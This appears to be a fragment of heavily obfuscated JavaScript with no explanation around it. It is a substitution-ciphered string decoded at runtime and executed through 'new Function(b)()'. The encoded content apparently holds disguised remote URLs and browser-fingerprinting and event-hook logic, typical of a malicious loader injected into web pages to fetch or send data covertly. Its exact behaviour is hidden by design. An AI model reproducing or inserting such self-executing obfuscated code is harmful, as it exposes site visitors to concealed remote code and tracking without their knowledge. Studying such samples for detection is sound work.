Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();